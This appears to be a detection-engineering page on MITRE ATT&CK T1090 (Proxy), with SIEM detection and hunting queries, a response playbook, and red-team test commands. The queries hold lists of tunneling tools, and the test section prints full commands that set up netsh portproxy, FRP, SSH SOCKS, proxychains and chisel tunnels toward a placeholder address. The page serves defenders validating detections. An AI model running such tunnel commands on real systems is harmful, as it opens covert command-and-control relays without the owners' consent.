T1090

Proxy

Command and Control Last updated:

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server. This avoids direct connections to adversary infrastructure, provides resiliency, and may allow C2 traffic to blend with legitimate communications. Proxies may be implemented using standalone tools (HTRAN, FRP, Earthworm, Chisel), built into implants (SombRAT SOCKS proxy, ZxShell), or leveraged through cloud CDN infrastructure.

What is T1090 Proxy?

Proxy (T1090) maps to the Command and Control tactic — the adversary is trying to communicate with compromised systems to control them in MITRE ATT&CK.

This page provides production-ready detection logic for Proxy, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Command and Control
Technique
T1090 Proxy
Canonical reference
https://attack.mitre.org/techniques/T1090/
Microsoft Sentinel / Defender
kusto 
let KnownProxyTools = dynamic([
  "htran", "ew.exe", "earthworm", "frpc", "frps", "frp",
  "chisel", "revsocks", "ligolo", "proxychains",
  "3proxy", "socks5", "ngrok", "iox", "gost",
  "npc.exe", "nps.exe", "invoke-ngrok"
]);
let ProxyCommandPatterns = dynamic([
  "-socks", "-socks5", "-socks4",
  "lcx", "htran", "portmap",
  "-L ", "-R ", "-D ",
  "proxytunnel", "proxychains",
  "connect-proxy", "corkscrew"
]);
let SuspiciousListenerPatterns = dynamic([
  "0.0.0.0", "*:4444", "*:1080", "*:8080", "*:9050", "*:10080"
]);
let ProxyResults = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName has_any (KnownProxyTools)
   or ProcessCommandLine has_any (ProxyCommandPatterns)
   or (FileName =~ "plink.exe" and ProcessCommandLine has_any ("-R", "-L", "-D"))
   or (FileName =~ "ssh.exe" and ProcessCommandLine has_any ("-R", "-L", "-D") and ProcessCommandLine !has "scp")
   or (FileName =~ "netsh.exe" and ProcessCommandLine has "portproxy")
   or (ProcessCommandLine has "frpc" and ProcessCommandLine has "ini")
| extend ToolType = case(
    FileName has_any ("htran", "ew.exe", "earthworm"), "Known Proxy Tool",
    FileName has_any ("frpc", "frps", "frp"), "Fast Reverse Proxy (FRP)",
    FileName has_any ("chisel", "revsocks", "ligolo"), "Tunneling Tool",
    FileName has_any ("ngrok", "invoke-ngrok"), "Ngrok Tunnel",
    FileName =~ "netsh.exe" and ProcessCommandLine has "portproxy", "Netsh Port Proxy",
    FileName has_any ("plink.exe", "ssh.exe"), "SSH Tunnel",
    "Generic Proxy Pattern"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         InitiatingProcessAccountName, FolderPath, ToolType;
let NetshPortProxy = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "netsh.exe"
| where ProcessCommandLine has_all ("portproxy", "add")
| extend ToolType = "Netsh Port Proxy"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         InitiatingProcessAccountName, FolderPath, ToolType;
union ProxyResults, NetshPortProxy
| sort by Timestamp desc

Detects proxy tool execution and port forwarding configuration using Microsoft Defender for Endpoint telemetry. Covers known proxy tools (HTRAN, FRP, Chisel, Earthworm, Ngrok, Ligolo), SSH/Plink tunnel flags (-R, -L, -D), proxychains invocation, and Windows netsh portproxy additions. The ToolType field categorizes the proxy variant to aid analyst triage.

high severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • SSH tunneling by developers and sysadmins for legitimate port forwarding (database access, jump hosts, VS Code Remote)
  • Ngrok or similar tools used by developers to expose local web services during testing or demos
  • Corporate proxy clients (Zscaler, Netskope agents) that implement local SOCKS listeners
  • Netsh portproxy rules created by network administrators for legitimate service redirection
  • Penetration testing tools and authorized red team activity using proxychains or Chisel

Sigma rule & cross-platform mapping

The detection logic for Proxy (T1090) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1090 Sigma rules on detection.fyi

Platform-specific guides for T1090

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-13 Research depth: deep
References (8)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Netsh PortProxy Tunnel Establishment

    Expected signal: Sysmon Event ID 1: Process Create with Image=netsh.exe, CommandLine containing 'portproxy add v4tov4 listenport=8888'. Security Event ID 4688 (with command line auditing enabled). Registry modification to HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\0.0.0.0/8888 visible via Sysmon Registry Events (Event ID 13).

  2. Test 2FRP Fast Reverse Proxy Client Execution

    Expected signal: Sysmon Event ID 1: Process Create with Image path containing frpc.exe and CommandLine containing '-c' and 'frpc.ini'. Sysmon Event ID 11: File Create for frpc.exe in %TEMP%. Sysmon Event ID 3: Network Connection attempt to 192.0.2.1:7000 (will fail — non-routable IP). Sysmon Event ID 22: DNS query if domain-based address used.

  3. Test 3SSH Dynamic Port Forwarding SOCKS Proxy

    Expected signal: Sysmon Event ID 1: Process Create with Image=ssh.exe and CommandLine containing '-D' and '-N'. Sysmon Event ID 3: Network Connection to 127.0.0.1:22. Sysmon Event ID 3: Listening connection created on 127.0.0.1:1080 for the SOCKS proxy socket. Connection to localhost:22 will fail if SSH server is not running but the process creation event still fires.

  4. Test 4Proxychains Execution (Linux)

    Expected signal: Linux auditd syscall event for execve of proxychains4 binary with arguments including '-f' and config file path. Syslog entry from proxychains preload showing SOCKS5 proxy connection attempt to 127.0.0.1:1080. Process tree shows proxychains4 as parent of curl. Connection to 192.0.2.1 will fail (non-routable) but process execution is logged.

  5. Test 5Chisel Reverse Proxy Tunnel (Windows)

    Expected signal: If chisel.exe is present: Sysmon Event ID 1 with Image=chisel.exe and CommandLine containing 'client' and 'R:socks' indicating a reverse SOCKS tunnel request. Sysmon Event ID 3 for outbound connection attempt to 192.0.2.1:8080. File creation event (Sysmon Event ID 11) if binary is staged to disk. Without binary: PowerShell telemetry for the simulation step.

Response Playbook

Triage

  1. Identify the specific proxy tool or command pattern that triggered the alert — determine whether it is a known offensive tool (HTRAN, FRP, Chisel) or a commonly abused legitimate utility (plink.exe, netsh.exe, ssh.exe) with suspicious arguments.
  2. Check the parent process — was the proxy tool spawned by a browser, script interpreter (wscript.exe, cscript.exe, mshta.exe), Office application, or a scheduled task? Parent processes outside of admin terminals or known management consoles are high-suspicion.
  3. Review the user context — does the user account typically administer network infrastructure? Is this a service account, a standard user endpoint, or a privileged admin workstation? Proxy tools run by non-admin users on workstations are highly suspicious.
  4. Examine network connections associated with the process — check DeviceNetworkEvents for the process PID. Look for outbound connections to unusual external IPs, non-standard ports (4444, 1080, 8080, 9050), or C2-indicative beaconing intervals.
  5. Check for the proxy tool's configuration file — FRP uses frpc.ini/frps.ini, Chisel uses command-line arguments, HTRAN uses command-line arguments defining listen and forward addresses. These reveal the C2 IP and proxied destination.
  6. Determine if the binary was dropped recently — check file creation timestamps via DeviceFileEvents. Freshly dropped binaries in temp directories, AppData, or ProgramData are strong indicators of adversary staging.
  7. Look for follow-on lateral movement — did the host show subsequent SMB, WMI, or RDP connections to internal hosts after the proxy tool started? Proxy establishment often precedes lateral movement through the new tunnel.

Containment

  1. If an active C2 proxy is confirmed: immediately isolate the endpoint from the network using EDR network isolation or VLAN change to prevent ongoing data exfiltration or lateral movement through the proxy.
  2. Terminate the proxy process — kill the identified process by PID using EDR console or Task Manager. For netsh portproxy, remove the rule: netsh interface portproxy delete v4tov4 listenport=<port>.
  3. Block the identified C2 IP or domain at the perimeter firewall and DNS sinkhole. Also block the proxy relay destination if identifiable from the configuration.
  4. If the proxy has been active for any significant time period: assume lateral movement and pivot — enumerate all hosts the proxy tool could have relayed connections to and investigate each for secondary implants.
  5. Rotate credentials for any account that authenticated through or on the compromised host while the proxy was active — SOCKS proxies transparently relay authentication attempts.
  6. Preserve the proxy tool binary and configuration file as forensic evidence before remediation — hash the binary and submit to threat intelligence platforms to identify the malware family.

Evidence Collection

  1. Process Creation Events — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing enabled) capturing the full proxy tool command line including C2 IP, listen port, and forward address.
  2. Network Connection Events — Sysmon Event ID 3 for all TCP/UDP connections initiated by the proxy process. Capture source port, destination IP, destination port, and connection state.
  3. File Creation Events — Sysmon Event ID 11 for the proxy tool binary and any configuration files written to disk. Note folder path — temp directories, AppData, and ProgramData are common staging locations.
  4. DNS Query Events — Sysmon Event ID 22 for any DNS lookups performed by the proxy tool or its parent. C2 may use domain-based addressing rather than IP literals.
  5. Prefetch files — C:\Windows\Prefetch\<TOOLNAME>.EXE-*.pf records the first and last execution timestamps and loaded DLLs, confirming execution even if the binary has been deleted.
  6. Windows Registry — HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\ contains persistent netsh portproxy rules that survive reboots. Check for attacker-created forwarding entries.
  7. Scheduled Tasks and Services — check for persistence mechanisms that would restart the proxy tool after termination. Query: schtasks /query /fo LIST /v | findstr /i 'frpc chisel htran ngrok'.
  8. Network flow data (NetFlow/pcap) — capture full packet data from the proxy process's connections if available, especially for timeframe correlation with data exfiltration or lateral movement events.

Escalation Criteria

  • ! Proxy tool identified as a known offensive implant capability (HTRAN, FRP configured to external VPS, Chisel with reverse tunnel to public IP) rather than a legitimate admin tool with suspicious arguments.
  • ! Network connections from the proxy process to external IPs on non-standard ports with regular beaconing intervals (indicative of active C2 tunnel rather than one-off admin activity).
  • ! Proxy tool executed by a non-administrative user account, especially on a standard workstation or in an industry with high breach impact (healthcare, finance, critical infrastructure).
  • ! Evidence of lateral movement through the proxy — internal hosts showing connections that originate from the compromised host's IP to SMB (445), RDP (3389), or WinRM (5985/5986).
  • ! Multiple endpoints in the environment running the same proxy tool or showing the same C2 IP — indicates automated deployment consistent with an active intrusion campaign.
  • ! Proxy tool accompanied by credential dumping artifacts (LSASS access, SAM hive access) — suggests the proxy is part of a broader post-exploitation chain.

Investigation Guide

Forensic Artifacts

  • > File System: Proxy tool binary in common staging directories — %TEMP%, %APPDATA%, C:\ProgramData\, C:\Windows\Temp\. Hash and submit to VirusTotal.
  • > File System: FRP configuration files (frpc.ini, frps.ini) containing C2 server address, port, and authentication token in plaintext.
  • > File System: Chisel command arguments or config — often embedded in scheduled task XML or batch file wrappers in staging directories.
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp — lists active netsh portproxy forwarding rules including listen address/port and connect address/port.
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services\ — attacker may install proxy tool as a Windows service for persistence. Look for service entries with unusual binary paths.
  • > Event Log: System Event ID 7045 — new service installation that may correspond to proxy tool persistence.
  • > Event Log: Security Event ID 4688 — process creation with command line (requires audit policy), capturing full proxy arguments.
  • > Network: Active listening sockets — 'netstat -anob' output captures current listening ports with owning process. HTRAN/FRP commonly listen on 1080, 4444, 8888, 10080.
  • > Scheduled Tasks: C:\Windows\System32\Tasks\ — attacker may create a scheduled task XML pointing to the proxy tool binary for persistence.
  • > Prefetch: C:\Windows\Prefetch\ — execution evidence even after binary deletion. Look for FRPC.EXE-*.pf, CHISEL.EXE-*.pf, HTRAN.EXE-*.pf.

Tuning Guidance

Begin by baselining legitimate proxy and tunneling usage in your environment. Key allowlist candidates include: development workstations where ngrok is approved for local testing (allowlist by specific user accounts or device groups rather than globally), jump servers with documented SSH tunnel configurations (allowlist specific source/destination IP pairs), and infrastructure servers with known netsh portproxy rules (document and allowlist specific listen/connect port combinations). For SSH tunneling detection, differentiate between legitimate admin SSH key-based tunnels (typically from bastion hosts to known internal IPs) and suspicious tunnels originating from endpoints or using interactive session parents. FRP is almost never legitimate outside of authorized red team engagements — treat any frpc/frps detection as high priority unless it appears in an authorized vulnerability assessment window. Suppress netsh portproxy alerts from specific admin service accounts with documented change tickets. Consider correlating proxy tool execution with parent process context: proxy tools spawned by Office applications, script interpreters, or browsers are effectively zero false positive scenarios and should be escalated immediately without suppression.

Hunting Queries

Hunt for processes listening on SOCKS proxy and common C2 relay ports (1080, 4444, 8888, 9050, 10080) that are not known browser or interpreter processes. Multiple inbound connections to these ports from unusual processes is a strong indicator of a proxy relay node.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where ActionType == "ListeningConnectionCreated"
| where LocalPort in (1080, 4444, 8888, 9050, 10080, 10800, 1081, 2121, 3128)
   or (LocalPort between (8000 .. 9000) and LocalIPType == "Private")
| where InitiatingProcessFileName !in~ ("chrome.exe", "firefox.exe", "msedge.exe", "node.exe", "python.exe", "ruby.exe")
| summarize ListenPorts=make_set(LocalPort), ProcessList=make_set(InitiatingProcessFileName),
            FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count()
    by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
| where array_length(ListenPorts) >= 1
| sort by Count desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 State="Established" Initiated="false"
| where DestinationPort IN (1080, 4444, 8888, 9050, 10080, 10800, 1081, 2121, 3128)
   OR (DestinationPort >= 8000 AND DestinationPort <= 9000)
| eval Image=lower(Image)
| where NOT match(Image, "(chrome|firefox|msedge|node|python|ruby)")
| stats count as Connections, dc(SourceIp) as UniqueSources, values(DestinationPort) as Ports
    by host, Image, User
| where Connections > 2
| sort - Connections

Hunt for netsh portproxy commands across the environment. Legitimate use is rare and typically limited to specific infrastructure servers. Widespread use or execution by non-admin accounts is a high-fidelity indicator of proxy establishment for lateral movement or C2 relay.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("netsh.exe")
| where ProcessCommandLine has "portproxy"
| summarize CommandLines=make_set(ProcessCommandLine), DeviceCount=dcount(DeviceName),
            FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
    by AccountName, InitiatingProcessFileName
| sort by DeviceCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  Image="*\\netsh.exe" CommandLine="*portproxy*"
| stats count as Executions, dc(host) as DeviceCount, values(CommandLine) as CommandLines,
    earliest(_time) as FirstSeen, latest(_time) as LastSeen
    by User, ParentImage
| sort - DeviceCount

Hunt for outbound connections to FRP default ports (7000, 7001, 7002) and other common reverse proxy listener ports from non-browser processes. FRP clients (frpc) connect outbound to the FRP server on these ports to establish the reverse proxy tunnel — this is a high-fidelity FRP C2 indicator when seen from unexpected processes.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| summarize OutboundPorts=make_set(RemotePort), UniqueRemoteIPs=dcount(RemoteIP),
            TotalConnections=count(), BytesSent=sum(SentBytes), BytesReceived=sum(ReceivedBytes)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
| where OutboundPorts has_any ("7000", "7001", "7002", "4443", "10010", "8443", "2222", "2223")
| where InitiatingProcessFileName !in~ ("msedge.exe", "chrome.exe", "firefox.exe", "outlook.exe", "teams.exe", "zoom.exe", "slack.exe")
| sort by TotalConnections desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 Initiated="true"
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
  DestinationPort IN (7000, 7001, 7002, 4443, 10010, 8443, 2222, 2223)
| eval Image=lower(Image)
| where NOT match(Image, "(msedge|chrome|firefox|outlook|teams|zoom|slack)")
| stats count as Connections, dc(DestinationIp) as UniqueIPs, values(DestinationPort) as Ports
    by host, Image, User
| sort - Connections

Atomic Red Team Tests

Test 1 Netsh PortProxy Tunnel Establishment
windows

Creates a Windows portproxy forwarding rule using netsh that redirects traffic from a local port to a remote address and port. This technique is used by threat actors including Volt Typhoon to establish persistent network relay points on compromised Windows hosts. The rule survives reboots unless explicitly deleted.

Command

powershell 
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=192.0.2.1

Cleanup

powershell 
netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=0.0.0.0

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=netsh.exe, CommandLine containing 'portproxy add v4tov4 listenport=8888'. Security Event ID 4688 (with command line auditing enabled). Registry modification to HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\0.0.0.0/8888 visible via Sysmon Registry Events (Event ID 13).

Expected Detection

Alert fires on netsh.exe CommandLine matching 'portproxy' and 'add'. KQL: ToolType='Netsh Port Proxy'. SPL: NetshProxy=1, ToolCategory='Netsh PortProxy'. Hunting query for portproxy commands will also surface this execution.

Test 2 FRP Fast Reverse Proxy Client Execution
windows

Downloads and executes the FRP (Fast Reverse Proxy) client binary with a configuration pointing to an attacker-controlled server. FRP is actively used by Volt Typhoon and other threat actors to establish reverse proxy tunnels through firewalls and NAT. The binary attempts connection to a non-routable address so no actual C2 occurs.

Command

powershell 
cd %TEMP% && echo [common] > frpc.ini && echo server_addr = 192.0.2.1 >> frpc.ini && echo server_port = 7000 >> frpc.ini && echo [socks5] >> frpc.ini && echo type = socks5 >> frpc.ini && echo remote_port = 1080 >> frpc.ini && curl -L -o frpc.exe https://github.com/fatedier/frp/releases/download/v0.52.3/frp_0.52.3_windows_amd64.zip 2>nul || echo FRP download step (binary not required for detection test) && cmd /c "start /b %TEMP%\frpc.exe -c %TEMP%\frpc.ini" 2>nul

Cleanup

powershell 
taskkill /F /IM frpc.exe 2>nul & del /F %TEMP%\frpc.exe %TEMP%\frpc.ini 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image path containing frpc.exe and CommandLine containing '-c' and 'frpc.ini'. Sysmon Event ID 11: File Create for frpc.exe in %TEMP%. Sysmon Event ID 3: Network Connection attempt to 192.0.2.1:7000 (will fail — non-routable IP). Sysmon Event ID 22: DNS query if domain-based address used.

Expected Detection

Alert fires on frpc.exe process creation. KQL: FileName matching 'frpc' with ToolType='Fast Reverse Proxy (FRP)'. SPL: FRPTool=1, ToolCategory='Fast Reverse Proxy'. Outbound connection hunting query surfaces the connection attempt to port 7000.

Test 3 SSH Dynamic Port Forwarding SOCKS Proxy
windows

Establishes a SOCKS5 proxy using SSH dynamic port forwarding (-D flag). This creates a local SOCKS listener that tunnels traffic through the SSH connection, used by threat actors to proxy C2 traffic and pivot through compromised systems. The connection target is localhost to keep this test safe.

Command

powershell 
ssh.exe -N -D 127.0.0.1:1080 -o StrictHostKeyChecking=no -o ConnectTimeout=5 127.0.0.1 2>&1 & timeout 3 > nul & taskkill /F /IM ssh.exe 2>nul

Cleanup

powershell 
taskkill /F /IM ssh.exe 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=ssh.exe and CommandLine containing '-D' and '-N'. Sysmon Event ID 3: Network Connection to 127.0.0.1:22. Sysmon Event ID 3: Listening connection created on 127.0.0.1:1080 for the SOCKS proxy socket. Connection to localhost:22 will fail if SSH server is not running but the process creation event still fires.

Expected Detection

Alert fires on ssh.exe CommandLine matching '-D' flag. KQL: SSHTunnel detection in proxy results. SPL: SSHTunnel=1, ToolCategory='SSH Port Forward'. Listening port hunt query surfaces the 1080 SOCKS listener if SSH connects successfully.

Test 4 Proxychains Execution (Linux)
linux

Uses proxychains to route a network tool's traffic through a SOCKS proxy, simulating adversary use of the tool to anonymize C2 traffic or pivot through compromised infrastructure. This technique is used on Linux/macOS systems where proxychains is available.

Command

bash 
which proxychains4 || apt-get install -y proxychains4 2>/dev/null; echo '[ProxyList]' > /tmp/proxychains_test.conf; echo 'socks5 127.0.0.1 1080' >> /tmp/proxychains_test.conf; proxychains4 -f /tmp/proxychains_test.conf curl -s --connect-timeout 3 http://192.0.2.1/ 2>&1 || true

Cleanup

bash 
rm -f /tmp/proxychains_test.conf

Expected Telemetry

Linux auditd syscall event for execve of proxychains4 binary with arguments including '-f' and config file path. Syslog entry from proxychains preload showing SOCKS5 proxy connection attempt to 127.0.0.1:1080. Process tree shows proxychains4 as parent of curl. Connection to 192.0.2.1 will fail (non-routable) but process execution is logged.

Expected Detection

Syslog or auditd detection of proxychains4 execution. SPL query matching 'proxychains' in process image name (linux_secure sourcetype). KQL on Linux onboarded to MDE: DeviceProcessEvents where FileName has 'proxychains'.

Test 5 Chisel Reverse Proxy Tunnel (Windows)
windows

Executes the Chisel tunneling tool in client mode attempting to establish a reverse SOCKS proxy to a remote server. Chisel is widely used in offensive engagements and has been observed in ransomware pre-deployment activity. The server address is non-routable to prevent actual C2 connection.

Command

powershell 
cd %TEMP% && echo Testing Chisel proxy detection (binary download skipped for safety) && powershell -Command "[System.Reflection.Assembly]::LoadWithPartialName('System.Net') | Out-Null; Write-Host 'Chisel test: process telemetry simulation'" && cmd /c "if exist chisel.exe (chisel.exe client 192.0.2.1:8080 R:socks) else (echo chisel.exe not present - download separately for full test)"

Cleanup

powershell 
del /F %TEMP%\chisel.exe 2>nul

Expected Telemetry

If chisel.exe is present: Sysmon Event ID 1 with Image=chisel.exe and CommandLine containing 'client' and 'R:socks' indicating a reverse SOCKS tunnel request. Sysmon Event ID 3 for outbound connection attempt to 192.0.2.1:8080. File creation event (Sysmon Event ID 11) if binary is staged to disk. Without binary: PowerShell telemetry for the simulation step.

Expected Detection

Alert fires on chisel.exe process creation with 'R:socks' arguments. KQL: FileName matching 'chisel' in proxy tool detection. SPL: KnownProxyTool=1 for chisel image match. Network hunting query surfaces outbound connection attempt to port 8080 from chisel process.

Related Detections

Tactic Hub

TA0011Command and Control

Sub-techniques (4)

Related Techniques

T1090.001Internal ProxyT1090.002External ProxyT1090.003Multi-hop ProxyT1090.004Domain FrontingT1021.001Remote Desktop ProtocolT1021.002SMB/Windows Admin SharesT1071.001Web ProtocolsT1572Protocol TunnelingT1105Ingress Tool TransferT1043Commonly Used PortT1205.002Socket Filters

Same Tactic: Command and Control

Popular Detections